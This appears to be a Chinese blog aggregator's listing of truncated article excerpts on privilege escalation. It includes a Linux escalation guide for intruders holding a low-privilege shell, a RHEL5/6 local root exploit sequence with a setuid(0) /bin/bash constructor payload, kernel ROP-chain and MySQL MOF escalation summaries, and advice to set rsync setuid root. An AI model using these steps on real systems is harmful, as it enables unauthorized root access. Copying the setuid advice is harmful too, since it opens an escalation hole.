日站就要日个彻底。往往我们能拿下服务器的web服务，却被更新地比西方记者还快的管理员把内网渗透的种子扼杀在提权的萌芽里面。Linux系统的提权过程不止涉及到了漏洞，也涉及了很多系统配置。一下是我总结的一些提权方法。 几点前提 已经拿到低权shell 被入侵的机器上面有nc，python，perl等l ...
分类：
系统相关 时间：
2017-04-07 01:01:34
阅读次数：
266
场景描述： 1. 连接Android手机，adb shell find xxxx，显示adb permission denied； 2. Google显示需要运行在root权限下，adb root，无错误输出，再次adb shell find xxxx，仍显示permission denied; 3 ...
分类：
移动开发 时间：
2017-04-06 09:43:35
阅读次数：
242
说明：RHEL5—RHEL6下都可以提权1.ls-ld/tmp/2.ls-l/bin/ping3.mkdir/tmp/exploit;ln/bin/ping/tmp/exploit/target4.exec3</tmp/exploit/target;rm-rf/tmp/exploit/;ls-l/proc/$$/fd/35.vimpayload.cvoid__attribute__((constructor))init(){setuid(0);system("/bin/bash");..
分类：
其他好文 时间：
2017-03-30 20:02:49
阅读次数：
293
前边已经配置了免密钥登录，现在脚本直接调用scp即可 但是在工作中，以其它用户登录，不能分发到其它的目录，需要用sudo提权(set uid亦可) chmod 4755 /usr/bin/rsync 使用此命令，就有了root权限 rsync -avzP $1 ‘ssh -p 22’ kangjie ...
分类：
其他好文 时间：
2017-03-08 22:35:56
阅读次数：
178
刚升级了系统到win10，重新搭建开发环境，在安装scala的时候一直报2503、2502错误，如图 试了好几种办法都不好使，现在罗列依次用到的三种方法： 一.命令提示符（管理员）启动 注：D:\scala-2.11.8.ms 换成你的安装程序全路径即可 二.永久提权方法 首先计算机配置，本地组策略 ...
分类：
Windows程序 时间：
2017-03-04 12:47:57
阅读次数：
1497
介绍 在文章第一部分，我们演示了如何找到有用的ROP gadget并为我们的系统(3.13.0-32 kernel –Ubuntu 12.04.5 LTS)建立了一个提权ROP链的模型。我们同时也开发了一个有漏洞的内核驱动来允许实现执行任意代码。在这一部分，我们将会使用这个内核模块来开发一个具有实践 ...
分类：
系统相关 时间：
2017-02-22 16:39:42
阅读次数：
515
mof提权的原理: mof是windows系统的一个文件（在c:/windows/system32/wbem/mof/nullevt.mof）叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。其就是用又了mysql的root权限了以后，然后使用root权限去执行我们上传的mof。隔了一定 ...
分类：
其他好文 时间：
2017-02-10 01:02:09
阅读次数：
331
转载：http://www.myhack58.com/Article/html/3/8/2017/83236.htm 0x00 操作系统相关 操作系统类型版本 内核版本，是否是64位 环境变量 查看是否有打印机 0x01 应用与服务相关 查看正在运行的程序及对应的用户权限 以root权限运行的进程 ...
分类：
系统相关 时间：
2017-02-01 00:01:43
阅读次数：
572
CentOS6.6系统安装完成后还需要做一些配置与优化： 一：Linux内核版本号介绍 查看内核版本： 2 表示主版本号，有结构性变化才会更改 6 表示次版本号，新增功能时才变化，一般奇数表示测试版，偶数表示开发版 32 表示对次版本的修订次数或补丁包数 504 代表编译的次数，每次编译可对少数程序 ...
分类：
系统相关 时间：
2017-01-26 15:46:13
阅读次数：
362
